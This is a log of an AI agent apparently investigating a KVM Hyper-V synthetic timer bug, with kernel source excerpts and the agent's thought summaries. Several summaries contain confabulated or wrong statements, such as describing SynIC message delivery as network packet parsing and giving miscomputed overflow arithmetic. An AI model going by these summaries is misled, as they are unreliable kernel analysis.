Right, let's get down to brass tacks. I'm thinking we need to dig into the Hyper-V kernel interfaces for timer functionality. Specifically, that `HV_STIMER_` prefix is ringing a bell. My gut says the relevant definitions for the system timers, and how they interact with the guest operating system, will be in a header file. I'm immediately drawn towards `include/hyperv/hvgdk_mini.h` or something with a similar naming convention. That seems like the logical starting point for understanding how these things are structured, initialized, and controlled within the Hyper-V environment. Letβs start there and see what we can find. If it's not there, we'll need to broaden our search, but `hvgdk_mini.h` is usually a good bet for low-level system details.
|
| 21/2 |
2026/05/19 01:22 |
tool |
grepper |
0m
Error:
Args: map[Expression:HV_STIMER_.*_SHIFT]
Results:
|
| 22/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 23527
output: 18
thoughts: 26
Thoughts: Here's a summary of my thought process, as if I were the one thinking it:
**Digging into the Hyper-V Timer Configuration**
Alright, time to dive into this issue. I'm going to start by looking at the `arch/x86/kvm/hyperv.c` file. Specifically, I need to check how the `stimer->config` structure is handled in relation to Hyper-V. It's a hunch, but I have a feeling the problem lies somewhere in how that particular configuration element is being managed or accessed in the context of the Hyper-V environment. Understanding this is key to figuring out the root cause and devising a fix. Let's see what the code reveals.
|
| 23/2 |
2026/05/19 01:22 |
tool |
grepper |
0m
Args: map[Expression:stimer->config]
Results: map[Output:arch/x86/kvm/hyperv.c=219=static void kvm_hv_notify_acked_sint(struct kvm_vcpu *vcpu, u32 sint)
--
arch/x86/kvm/hyperv.c-231- stimer = &hv_vcpu->stimer[idx];
arch/x86/kvm/hyperv.c:232: if (stimer->msg_pending && stimer->config.enable &&
arch/x86/kvm/hyperv.c:233: !stimer->config.direct_mode &&
arch/x86/kvm/hyperv.c:234: stimer->config.sintx == sint)
arch/x86/kvm/hyperv.c-235- stimer_mark_pending(stimer, false);
--
arch/x86/kvm/hyperv.c=617=static enum hrtimer_restart stimer_timer_callback(struct hrtimer *timer)
--
arch/x86/kvm/hyperv.c-631- * a) stimer->count is not equal to 0
arch/x86/kvm/hyperv.c:632: * b) stimer->config has HV_STIMER_ENABLE flag
arch/x86/kvm/hyperv.c-633- */
arch/x86/kvm/hyperv.c=634=static int stimer_start(struct kvm_vcpu_hv_stimer *stimer)
--
arch/x86/kvm/hyperv.c-641-
arch/x86/kvm/hyperv.c:642: if (stimer->config.periodic) {
arch/x86/kvm/hyperv.c-643- if (stimer->exp_time) {
--
arch/x86/kvm/hyperv.c=688=static int stimer_set_config(struct kvm_vcpu_hv_stimer *stimer, u64 config,
--
arch/x86/kvm/hyperv.c-691- union hv_stimer_config new_config = {.as_uint64 = config},
arch/x86/kvm/hyperv.c:692: old_config = {.as_uint64 = stimer->config.as_uint64};
arch/x86/kvm/hyperv.c-693- struct kvm_vcpu *vcpu = hv_stimer_to_vcpu(stimer);
--
arch/x86/kvm/hyperv.c-711- new_config.enable = 0;
arch/x86/kvm/hyperv.c:712: stimer->config.as_uint64 = new_config.as_uint64;
arch/x86/kvm/hyperv.c-713-
arch/x86/kvm/hyperv.c:714: if (stimer->config.enable)
arch/x86/kvm/hyperv.c-715- stimer_mark_pending(stimer, false);
--
arch/x86/kvm/hyperv.c=720=static int stimer_set_count(struct kvm_vcpu_hv_stimer *stimer, u64 count,
--
arch/x86/kvm/hyperv.c-735- if (stimer->count == 0)
arch/x86/kvm/hyperv.c:736: stimer->config.enable = 0;
arch/x86/kvm/hyperv.c:737: else if (stimer->config.auto_enable)
arch/x86/kvm/hyperv.c:738: stimer->config.enable = 1;
arch/x86/kvm/hyperv.c-739- }
arch/x86/kvm/hyperv.c-740-
arch/x86/kvm/hyperv.c:741: if (stimer->config.enable)
arch/x86/kvm/hyperv.c-742- stimer_mark_pending(stimer, false);
--
arch/x86/kvm/hyperv.c=747=static int stimer_get_config(struct kvm_vcpu_hv_stimer *stimer, u64 *pconfig)
arch/x86/kvm/hyperv.c-748-{
arch/x86/kvm/hyperv.c:749: *pconfig = stimer->config.as_uint64;
arch/x86/kvm/hyperv.c-750- return 0;
--
arch/x86/kvm/hyperv.c=816=static int stimer_send_msg(struct kvm_vcpu_hv_stimer *stimer)
--
arch/x86/kvm/hyperv.c-826- */
arch/x86/kvm/hyperv.c:827: bool no_retry = stimer->config.periodic;
arch/x86/kvm/hyperv.c-828-
--
arch/x86/kvm/hyperv.c-831- return synic_deliver_msg(to_hv_synic(vcpu),
arch/x86/kvm/hyperv.c:832: stimer->config.sintx, msg,
arch/x86/kvm/hyperv.c-833- no_retry);
--
arch/x86/kvm/hyperv.c=836=static int stimer_notify_direct(struct kvm_vcpu_hv_stimer *stimer)
--
arch/x86/kvm/hyperv.c-840- .delivery_mode = APIC_DM_FIXED,
arch/x86/kvm/hyperv.c:841: .vector = stimer->config.apic_vector
arch/x86/kvm/hyperv.c-842- };
--
arch/x86/kvm/hyperv.c=849=static void stimer_expiration(struct kvm_vcpu_hv_stimer *stimer)
arch/x86/kvm/hyperv.c-850-{
arch/x86/kvm/hyperv.c:851: int r, direct = stimer->config.direct_mode;
arch/x86/kvm/hyperv.c-852-
--
arch/x86/kvm/hyperv.c-861- stimer->msg_pending = false;
arch/x86/kvm/hyperv.c:862: if (!(stimer->config.periodic))
arch/x86/kvm/hyperv.c:863: stimer->config.enable = 0;
arch/x86/kvm/hyperv.c-864- }
--
arch/x86/kvm/hyperv.c=867=void kvm_hv_process_stimers(struct kvm_vcpu *vcpu)
--
arch/x86/kvm/hyperv.c-879- stimer = &hv_vcpu->stimer[i];
arch/x86/kvm/hyperv.c:880: if (stimer->config.enable) {
arch/x86/kvm/hyperv.c-881- exp_time = stimer->exp_time;
--
arch/x86/kvm/hyperv.c-889-
arch/x86/kvm/hyperv.c:890: if ((stimer->config.enable) &&
arch/x86/kvm/hyperv.c-891- stimer->count) {
]
|
| 24/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 25728
output: 21
thoughts: 13
Thoughts: Okay, let's dive into this. Here's my take on those thoughts, as if they're my own:
**Analyzing the `union hv_stimer_config`**
Alright, so the focus is clearly on `union hv_stimer_config`. I'm immediately trying to grasp the context. It's almost certainly related to Hyper-V's system timer configuration, given the naming convention. My immediate thought is, what's the purpose of a *union* here? Are we dealing with several different ways to configure the same underlying hardware, or perhaps different views of the same data structure, depending on the operational mode or feature enabled? Is this architecture related to different hardware models or platforms? I expect to see different fields that might be applicable under different conditions. This is going to be important to understand how the system is initializing and controlling its timers. I need to understand the different possible members within that union. What are the variations, and what do they signify about the underlying timer's capabilities and how it's being managed? Let's get down to the details.
|
| 25/2 |
2026/05/19 01:22 |
tool |
grepper |
0m
Args: map[Expression:union hv_stimer_config]
Results: map[Output:arch/x86/include/asm/kvm_host.h=637=struct kvm_vcpu_hv_stimer {
--
arch/x86/include/asm/kvm_host.h-639- int index;
arch/x86/include/asm/kvm_host.h:640: union hv_stimer_config config;
arch/x86/include/asm/kvm_host.h-641- u64 count;
--
arch/x86/kvm/hyperv.c=688=static int stimer_set_config(struct kvm_vcpu_hv_stimer *stimer, u64 config,
--
arch/x86/kvm/hyperv.c-690-{
arch/x86/kvm/hyperv.c:691: union hv_stimer_config new_config = {.as_uint64 = config},
arch/x86/kvm/hyperv.c-692- old_config = {.as_uint64 = stimer->config.as_uint64};
--
drivers/clocksource/hyperv_timer.c=100=static int hv_ce_set_oneshot(struct clock_event_device *evt)
drivers/clocksource/hyperv_timer.c-101-{
drivers/clocksource/hyperv_timer.c:102: union hv_stimer_config timer_cfg;
drivers/clocksource/hyperv_timer.c-103-
--
include/hyperv/hvgdk_mini.h=648=union hv_x64_xsave_xfem_register {
--
include/hyperv/hvgdk_mini.h-674-/* Synthetic timer configuration */
include/hyperv/hvgdk_mini.h:675:union hv_stimer_config { /* HV_X64_MSR_STIMER_CONFIG_CONTENTS */
include/hyperv/hvgdk_mini.h-676- u64 as_uint64;
]
|
| 26/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 26513
output: 47
thoughts: 28
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm already quite familiar with the Hyper-V kernel modules and driver interfaces:
**Checking the hv_stimer_config Struct**
Alright, the next step is to examine the `union hv_stimer_config` structure, and I know exactly where to find it. I'll need to open the `include/hyperv/hvgdk_mini.h` header file. I need to refresh my understanding of how the virtual system timer is configured within the GDK miniport driver context. I probably need to figure out what members of this union are relevant to the task I'm working on right now. It is likely that I am looking into how to use the virtual system timer or debug timer issues.
|
| 27/2 |
2026/05/19 01:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/hyperv/hvgdk_mini.h IncludeLines:true Name:hv_stimer_config]
Results: map[SourceCode: 674: /* Synthetic timer configuration */
675: union hv_stimer_config { /* HV_X64_MSR_STIMER_CONFIG_CONTENTS */
676: u64 as_uint64;
677: struct {
678: u64 enable : 1;
679: u64 periodic : 1;
680: u64 lazy : 1;
681: u64 auto_enable : 1;
682: u64 apic_vector : 8;
683: u64 direct_mode : 1;
684: u64 reserved_z0 : 3;
685: u64 sintx : 4;
686: u64 reserved_z1 : 44;
687: } __packed;
688: };
SourceFile:include/hyperv/hvgdk_mini.h]
|
| 28/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 27027
output: 48
thoughts: 197
Thoughts: **Analyzing the Stimulator Timer Setup**
Okay, so the reproducer's initializing the Stimulator timer, specifically STIMER0, and it's doing it in a very deliberate way. First, it's setting `HV_X64_MSR_STIMER0_CONFIG` to `5`. Right, let's break that down: `5` in binary is `101`. That translates to `enable = 1`, making the timer active. `periodic = 0`, so it's a one-shot timer, not a repeating one. And `lazy = 1`, which probably means some kind of delayed activation or behavior, that needs deeper investigation. The remaining bits (`auto_enable`, `apic_vector`, `direct_mode`, `sintx`) are all zero. Not surprising, but worth noting.
Now, the interesting part is the `HV_X64_MSR_STIMER0_COUNT` is set to `0xffffffffffff0001`. That's a huge value. This setting in conjunction with the configuration from before immediately triggers alarm bells. We should look at what `stimer_set_count` does. It sets up the timer, and we need to understand how the count is interpreted, especially with the `lazy` setting. Is this value designed to trigger an immediate interrupt? Or is the intention to cause some kind of overflow condition? Or perhaps it sets up a very long delay? This configuration requires a closer look at the interaction of the configuration and the count value to understand the intent of the setup.
|
| 29/2 |
2026/05/19 01:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:stimer_set_count]
Results: map[SourceCode: 720: static int stimer_set_count(struct kvm_vcpu_hv_stimer *stimer, u64 count,
721: bool host)
722: {
723: struct kvm_vcpu *vcpu = hv_stimer_to_vcpu(stimer);
724: struct kvm_vcpu_hv_synic *synic = to_hv_synic(vcpu);
725:
726: if (!synic->active && (!host || count))
727: return 1;
728:
729: trace_kvm_hv_stimer_set_count(hv_stimer_to_vcpu(stimer)->vcpu_id,
730: stimer->index, count, host);
731:
732: stimer_cleanup(stimer);
733: stimer->count = count;
734: if (!host) {
735: if (stimer->count == 0)
736: stimer->config.enable = 0;
737: else if (stimer->config.auto_enable)
738: stimer->config.enable = 1;
739: }
740:
741: if (stimer->config.enable)
742: stimer_mark_pending(stimer, false);
743:
744: return 0;
745: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 30/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 28056
output: 48
thoughts: 25
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing the `stimer_mark_pending` Call**
Okay, so I'm tracing the execution flow and I've hit a call to `stimer_mark_pending`. This is interesting. My initial thought is to pause and focus on this function. I need to understand its role in this specific context. Let's dig into the implementation of `stimer_mark_pending`. What's it actually doing? Is it setting a bit, enqueuing something, or signaling a state change? Understanding the mechanics of `stimer_mark_pending` is crucial now to figuring out the overall picture, especially since it's the point of interest. I want to see what triggers it and how the system behaves after its invocation.
|
| 31/2 |
2026/05/19 01:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:stimer_mark_pending]
Results: map[SourceCode: 591: static void stimer_mark_pending(struct kvm_vcpu_hv_stimer *stimer,
592: bool vcpu_kick)
593: {
594: struct kvm_vcpu *vcpu = hv_stimer_to_vcpu(stimer);
595:
596: set_bit(stimer->index,
597: to_hv_vcpu(vcpu)->stimer_pending_bitmap);
598: kvm_make_request(KVM_REQ_HV_STIMER, vcpu);
599: if (vcpu_kick)
600: kvm_vcpu_kick(vcpu);
601: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 32/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 28536
output: 24
thoughts: 25
Thoughts: Okay, here's my attempt at summarizing the thought process, tailored for an expert audience, and written in the first person:
**Investigating KVM_REQ_HV_STIMER**
Alright, so we're looking at `KVM_REQ_HV_STIMER`. The immediate question that pops into my head is *where* this is handled within the KVM infrastructure. I need to trace the processing path. My brain's already starting to map out the potential modules and functions involved. I'll need to dig into the relevant source code, probably starting with the KVM core and looking for handler functions associated with this request. Let's start digging!
|
| 33/2 |
2026/05/19 01:22 |
tool |
grepper |
0m
Args: map[Expression:KVM_REQ_HV_STIMER]
Results: map[Output:arch/x86/include/asm/kvm_host.h-113-#define KVM_REQ_HV_EXIT KVM_ARCH_REQ(21)
arch/x86/include/asm/kvm_host.h:114:#define KVM_REQ_HV_STIMER KVM_ARCH_REQ(22)
arch/x86/include/asm/kvm_host.h-115-#define KVM_REQ_LOAD_EOI_EXITMAP KVM_ARCH_REQ(23)
--
arch/x86/kvm/hyperv.c=591=static void stimer_mark_pending(struct kvm_vcpu_hv_stimer *stimer,
--
arch/x86/kvm/hyperv.c-597- to_hv_vcpu(vcpu)->stimer_pending_bitmap);
arch/x86/kvm/hyperv.c:598: kvm_make_request(KVM_REQ_HV_STIMER, vcpu);
arch/x86/kvm/hyperv.c-599- if (vcpu_kick)
--
arch/x86/kvm/x86.c=11044=static int vcpu_enter_guest(struct kvm_vcpu *vcpu)
--
arch/x86/kvm/x86.c-11187- /*
arch/x86/kvm/x86.c:11188: * KVM_REQ_HV_STIMER has to be processed after
arch/x86/kvm/x86.c-11189- * KVM_REQ_CLOCK_UPDATE, because Hyper-V SynIC timers
--
arch/x86/kvm/x86.c-11191- */
arch/x86/kvm/x86.c:11192: if (kvm_check_request(KVM_REQ_HV_STIMER, vcpu))
arch/x86/kvm/x86.c-11193- kvm_hv_process_stimers(vcpu);
]
|
| 34/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 29280
output: 51
thoughts: 15
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm an expert in this area and thinking about the function `kvm_hv_process_stimers`:
**Analyzing `kvm_hv_process_stimers`**
Alright, so the focus is `kvm_hv_process_stimers`. Just the name itself tells me this is something related to the KVM hypervisor and likely dealing with timers, specifically those related to the "HV" - which means Hyper-V guest, or the Microsoft Hypervisor. So, my mind is immediately going to start running through the implications. I'm thinking about the context. What's the surrounding code? Are we talking about a specific guest, all guests, or something more global within the KVM/Hyper-V integration?
I'm probably thinking about the timer sources. Is this about virtual timers? Real-time timers? Are there any specific hardware timers, or emulated ones. It is very likely that this involves managing the virtual timers exposed to the Hyper-V guest, so it will very likely be something to do with injection or interception of the timers. I am now going to be thinking about the implications.
What's the overall architecture? Are we talking about timer interrupt delivery, handling wake-ups, or something else entirely? Now, I'm expecting this function to be involved in the process of dealing with stimulations of the vcpu timers. How does it interact with the KVM clock source, the guest's virtual timers, and the host's real-time clock?
I'm now formulating questions. What's the logic? Is there an event queue? A priority scheme? Any interaction with the real-time clock? Any locking? Any spinlocks? And most importantly, is this function optimized? Are there any potential bottlenecks, or race conditions?
I'll be ready to dig in and understand how this function fits into the overall KVM-Hyper-V integration.
|
| 35/2 |
2026/05/19 01:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:kvm_hv_process_stimers]
Results: map[SourceCode: 867: void kvm_hv_process_stimers(struct kvm_vcpu *vcpu)
868: {
869: struct kvm_vcpu_hv *hv_vcpu = to_hv_vcpu(vcpu);
870: struct kvm_vcpu_hv_stimer *stimer;
871: u64 time_now, exp_time;
872: int i;
873:
874: if (!hv_vcpu)
875: return;
876:
877: for (i = 0; i < ARRAY_SIZE(hv_vcpu->stimer); i++)
878: if (test_and_clear_bit(i, hv_vcpu->stimer_pending_bitmap)) {
879: stimer = &hv_vcpu->stimer[i];
880: if (stimer->config.enable) {
881: exp_time = stimer->exp_time;
882:
883: if (exp_time) {
884: time_now =
885: get_time_ref_counter(vcpu->kvm);
886: if (time_now >= exp_time)
887: stimer_expiration(stimer);
888: }
889:
890: if ((stimer->config.enable) &&
891: stimer->count) {
892: if (!stimer->msg_pending)
893: stimer_start(stimer);
894: } else
895: stimer_cleanup(stimer);
896: }
897: }
898: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 36/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 30278
output: 46
thoughts: 21
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing the Execution Flow: `stimer_start`**
Okay, so I'm tracing the execution, and the key call here is `stimer_start`. I need to understand what this function does, where it's defined, and what its implications are in this particular context. It's the starting point of an important timed sequence, or it's potentially interacting with a system timer. I need to figure out which. My immediate focus shifts to understanding the logic within `stimer_start` itself, and that will dictate the next steps in my analysis. It is likely a good place to set a breakpoint if I can. This is where the core timing mechanism is likely kicked off, or perhaps this is just the command to start tracking. It all hinges on understanding that routine.
|
| 37/2 |
2026/05/19 01:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:stimer_start]
Results: map[SourceCode: 629: /*
630: * stimer_start() assumptions:
631: * a) stimer->count is not equal to 0
632: * b) stimer->config has HV_STIMER_ENABLE flag
633: */
634: static int stimer_start(struct kvm_vcpu_hv_stimer *stimer)
635: {
636: u64 time_now;
637: ktime_t ktime_now;
638:
639: time_now = get_time_ref_counter(hv_stimer_to_vcpu(stimer)->kvm);
640: ktime_now = ktime_get();
641:
642: if (stimer->config.periodic) {
643: if (stimer->exp_time) {
644: if (time_now >= stimer->exp_time) {
645: u64 remainder;
646:
647: div64_u64_rem(time_now - stimer->exp_time,
648: stimer->count, &remainder);
649: stimer->exp_time =
650: time_now + (stimer->count - remainder);
651: }
652: } else
653: stimer->exp_time = time_now + stimer->count;
654:
655: trace_kvm_hv_stimer_start_periodic(
656: hv_stimer_to_vcpu(stimer)->vcpu_id,
657: stimer->index,
658: time_now, stimer->exp_time);
659:
660: hrtimer_start(&stimer->timer,
661: ktime_add_ns(ktime_now,
662: 100 * (stimer->exp_time - time_now)),
663: HRTIMER_MODE_ABS);
664: return 0;
665: }
666: stimer->exp_time = stimer->count;
667: if (time_now >= stimer->count) {
668: /*
669: * Expire timer according to Hypervisor Top-Level Functional
670: * specification v4(15.3.1):
671: * "If a one shot is enabled and the specified count is in
672: * the past, it will expire immediately."
673: */
674: stimer_mark_pending(stimer, false);
675: return 0;
676: }
677:
678: trace_kvm_hv_stimer_start_one_shot(hv_stimer_to_vcpu(stimer)->vcpu_id,
679: stimer->index,
680: time_now, stimer->count);
681:
682: hrtimer_start(&stimer->timer,
683: ktime_add_ns(ktime_now, 100 * (stimer->count - time_now)),
684: HRTIMER_MODE_ABS);
685: return 0;
686: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 38/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 31485
output: 46
thoughts: 248
Thoughts: **Analyzing the One-Shot Timer Logic**
Okay, let me break down this one-shot timer logic in `stimer_start`. It's pretty straightforward, but I need to make sure I understand the timing implications. So, if `stimer->config.periodic` is false β meaning it's a one-shot timer β it initializes `stimer->exp_time` with the initial `stimer->count`. This makes sense; it's the target expiration time. Then, there's a crucial check: `if (time_now >= stimer->count)`.
If the current time (`time_now`) is *already* past the target `stimer->count`, the timer is immediately considered expired. `stimer_mark_pending(stimer, false)` gets called, which I know sets the relevant bit in `stimer_pending_bitmap` and, importantly, requests `KVM_REQ_HV_STIMER`. This signals that there's a timer event that needs processing by the hypervisor. The function then immediately returns 0.
Now, that `KVM_REQ_HV_STIMER` is where the processing happens. In the `vcpu_enter_guest` hook, there's a check for `KVM_REQ_HV_STIMER`, and that triggers `kvm_hv_process_stimers`. This is the core logic. Inside `kvm_hv_process_stimers`, the pending bit is cleared (of course), and then we check `stimer->config.enable`. It also checks for `exp_time`.
The key comparison is `if (time_now >= exp_time)`. Because `exp_time` here is `stimer->count`, this is the expiration condition. If the time has arrived, `stimer_expiration(stimer)` is called. I need to refresh my memory on what `stimer_expiration` actually does, but that's the final point of execution. I need to look into `stimer_expiration` to be sure that the state transition and handler invocation are correct.
|
| 39/2 |
2026/05/19 01:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:stimer_expiration]
Results: map[SourceCode: 849: static void stimer_expiration(struct kvm_vcpu_hv_stimer *stimer)
850: {
851: int r, direct = stimer->config.direct_mode;
852:
853: stimer->msg_pending = true;
854: if (!direct)
855: r = stimer_send_msg(stimer);
856: else
857: r = stimer_notify_direct(stimer);
858: trace_kvm_hv_stimer_expiration(hv_stimer_to_vcpu(stimer)->vcpu_id,
859: stimer->index, direct, r);
860: if (!r) {
861: stimer->msg_pending = false;
862: if (!(stimer->config.periodic))
863: stimer->config.enable = 0;
864: }
865: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 40/2 |
2026/05/19 01:22 |
llm |
expert |
0m
Model:
Tokens:
input: 32533
output: 48
thoughts: 34
Thoughts: Here's a breakdown of my thought process:
**Diving into the Timer Mechanism**
Okay, so I'm looking at `stimer_expiration` and it looks like the function is calling `stimer_send_msg(stimer)`. That's the key. My immediate thought is, "Right, so this expiration event triggers a message send." Now, I want to understand *how* that message is sent. My next logical step is to delve into the `stimer_send_msg` function itself. I need to unpack that function to understand how the timer's expiration actually communicates something. What is the mechanism? What data is being transmitted? What are the implications of this message? Let's get to it.
|
| 41/2 |
2026/05/19 01:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:stimer_send_msg]
Results: map[SourceCode: 816: static int stimer_send_msg(struct kvm_vcpu_hv_stimer *stimer)
817: {
818: struct kvm_vcpu *vcpu = hv_stimer_to_vcpu(stimer);
819: struct hv_message *msg = &stimer->msg;
820: struct hv_timer_message_payload *payload =
821: (struct hv_timer_message_payload *)&msg->u.payload;
822:
823: /*
824: * To avoid piling up periodic ticks, don't retry message
825: * delivery for them (within "lazy" lost ticks policy).
826: */
827: bool no_retry = stimer->config.periodic;
828:
829: payload->expiration_time = stimer->exp_time;
830: payload->delivery_time = get_time_ref_counter(vcpu->kvm);
831: return synic_deliver_msg(to_hv_synic(vcpu),
832: stimer->config.sintx, msg,
833: no_retry);
834: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 42/2 |
2026/05/19 01:23 |
llm |
expert |
0m
Model:
Tokens:
input: 33135
output: 48
thoughts: 12
Thoughts: Okay, let's dive into this. Here's my take on those thoughts, as if they're my own:
**Analyzing `synic_deliver_msg`**
Alright, so the focus is on `synic_deliver_msg`. I need to understand its function, its purpose within the broader system. What's it doing? Is it a key component for network communication? Message handling? I need to analyze how it's designed to receive the network packets, how does it parse them and how they're handled. What is the expected input, and what kind of error conditions might it encounter? Is it directly tied to the SynIC hardware, or does it abstract that layer? Does it have any implications on the performance or security of the communication? I'm already mentally walking through the possible data structures and calling patterns it utilizes. I'll need to check the surrounding code for how the method is being invoked and what its return values signify. Are there any potential race conditions I should be looking out for? What about memory management, any allocation or deallocation inside the method? Given my expertise, I'll need to quickly assess its integration with other system components, to understand how well it fits into the overall architecture. I'm going to start with the obvious entry points and work outwards, identifying any dependencies or potential bottlenecks. This is a critical point to begin with.
|
| 43/2 |
2026/05/19 01:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:arch/x86/kvm/hyperv.c IncludeLines:true Name:synic_deliver_msg]
Results: map[SourceCode: 759: static int synic_deliver_msg(struct kvm_vcpu_hv_synic *synic, u32 sint,
760: struct hv_message *src_msg, bool no_retry)
761: {
762: struct kvm_vcpu *vcpu = hv_synic_to_vcpu(synic);
763: int msg_off = offsetof(struct hv_message_page, sint_message[sint]);
764: gfn_t msg_page_gfn;
765: struct hv_message_header hv_hdr;
766: int r;
767:
768: if (!(synic->msg_page & HV_SYNIC_SIMP_ENABLE))
769: return -ENOENT;
770:
771: msg_page_gfn = synic->msg_page >> PAGE_SHIFT;
772:
773: /*
774: * Strictly following the spec-mandated ordering would assume setting
775: * .msg_pending before checking .message_type. However, this function
776: * is only called in vcpu context so the entire update is atomic from
777: * guest POV and thus the exact order here doesn't matter.
778: */
779: r = kvm_vcpu_read_guest_page(vcpu, msg_page_gfn, &hv_hdr.message_type,
780: msg_off + offsetof(struct hv_message,
781: header.message_type),
782: sizeof(hv_hdr.message_type));
783: if (r < 0)
784: return r;
785:
786: if (hv_hdr.message_type != HVMSG_NONE) {
787: if (no_retry)
788: return 0;
789:
790: hv_hdr.message_flags.msg_pending = 1;
791: r = kvm_vcpu_write_guest_page(vcpu, msg_page_gfn,
792: &hv_hdr.message_flags,
793: msg_off +
794: offsetof(struct hv_message,
795: header.message_flags),
796: sizeof(hv_hdr.message_flags));
797: if (r < 0)
798: return r;
799: return -EAGAIN;
800: }
801:
802: r = kvm_vcpu_write_guest_page(vcpu, msg_page_gfn, src_msg, msg_off,
803: sizeof(src_msg->header) +
804: src_msg->header.payload_size);
805: if (r < 0)
806: return r;
807:
808: r = synic_set_irq(synic, sint);
809: if (r < 0)
810: return r;
811: if (r == 0)
812: return -EFAULT;
813: return 0;
814: }
SourceFile:arch/x86/kvm/hyperv.c]
|
| 44/2 |
2026/05/19 01:23 |
llm |
expert |
0m
Model:
Tokens:
input: 34428
output: 43
thoughts: 1219
Thoughts: **Analyzing the Hyper-V Stimer Infinite Loop**
Okay, let's break this down. My initial thought process hit a snag immediately. I saw `-ENOENT` returned by `synic_deliver_msg` and correctly deduced that it's due to `HV_SYNIC_SIMP_ENABLE` being off, which makes sense given the reproducer setup. That causes `stimer_expiration` to set `stimer->msg_pending` to `true`, and *not* to disable the timer.
The next thing that jumps out is that the timer isn't being restarted because of the check in `kvm_hv_process_stimers` which *should* prevent `stimer_start` from being called when `stimer->msg_pending` is true. Where's the loop?
Wait... I'm missing something, because `kvm_hv_process_stimers` *does* clear the `stimer_pending_bitmap`, so the `stimer_start` should *eventually* be called. It's a key function for making this timer work. If `stimer_start` is not called, how is it an infinite loop?
Okay, let's step through `stimer_start`. It checks if `stimer->config.periodic` is false and, if the count is in the past, calls `stimer_mark_pending(stimer, false)`. Okay, `stimer_mark_pending` is an important signal. That seems relevant.
Okay, let's retrace the events. `stimer_set_count` calls `stimer_mark_pending`, which sets the bitmap, and `kvm_hv_process_stimers` calls `stimer_expiration`. This leads to the `-ENOENT` and sets `stimer->msg_pending`. That's not the infinite loop. Where is `stimer_mark_pending` being called? Ah, `stimer_timer_callback` also calls it. But if the timer is not started?
Wait! What about the `auto_enable` flag? Is that relevant? Let's check the registers in the reproducer, `HV_X64_MSR_STIMER0_CONFIG` is `5` which is `101` in binary. This translates to enable, lazy and not periodic. Auto-enable is zero.
Alright, let's focus on the count register. What happens if `HV_X64_MSR_STIMER0_COUNT` is set to `0xffffffffffff0001`? That's a massive number. The time now (`time_now`) is close to zero, or around the current time. If `time_now` is less than the count, `stimer_start` calls `hrtimer_start`.
Then, `hrtimer_start` is called with the time offset. Let's see how much time needs to be added. If `time_now` is around zero, `stimer->count - time_now` is around `0xffffffffffff0001`. The calculation is going to overflow, but `ktime_add_ns` takes a 64-bit value for the NS value.
Okay, the time addition is going to overflow! Let's calculate: 100 * (2^64 - 65535). In 64-bit arithmetic, that results in a negative value. That is `0xffffffffff9c0224`. So `ktime_add_ns` is likely using the correct unsigned semantics for the result. Wait, is that large unsigned number getting the `hrtimer` to trigger repeatedly? This is promising... I think I see the infinite loop now.
|
| 45/2 |
2026/05/19 01:23 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:include/linux/ktime.h IncludeLines:true Name:ktime_add_ns]
Results: map[SourceCode: SourceFile:]
|
| 46/2 |
2026/05/19 01:23 |
llm |
expert |
0m
Model:
Tokens:
input: 36523
output: 20
thoughts: 23
Thoughts: Here's my take on those thoughts, tailored for an expert audience:
**Diving into the Kernel Timekeeping**
Okay, so I'm thinking, before I go any further, let's just quickly refresh my memory on `ktime_add_ns`. It's always a good habit to double-check the foundational building blocks, especially when dealing with kernel time-related calculations. I should find it defined in `include/linux/ktime.h`. Need to make sure I don't miss any edge cases or quirky behaviors. I'm going to quickly parse the relevant code to ensure I'm solid on the intricacies of how nanoseconds are being added to the `ktime_t` structure. No point re-inventing the wheel, and I need to be sure I'm incorporating this existing function appropriately in whatever I'm currently working on. Always good to refresh before I get deep.
|
| 47/2 |
2026/05/19 01:23 |
tool |
grepper |
0m
Args: map[Expression:ktime_add_ns]
Results: map[Output:
Full output is too long, showing 500 out of 696 lines.
Use more precise expression if possible.
[arch/arm64/kvm/arch_timer.c=188=static void soft_timer_start(struct hrtimer *hrt, u64 ns)
arch/arm64/kvm/arch_timer.c-189-{
arch/arm64/kvm/arch_timer.c:190: hrtimer_start(hrt, ktime_add_ns(ktime_get(), ns),
arch/arm64/kvm/arch_timer.c-191- HRTIMER_MODE_ABS_HARD);
--
arch/loongarch/kvm/timer.c=140=static void _kvm_save_timer(struct kvm_vcpu *vcpu)
--
arch/loongarch/kvm/timer.c-160-
arch/loongarch/kvm/timer.c:161: expire = ktime_add_ns(ktime_get(), delta);
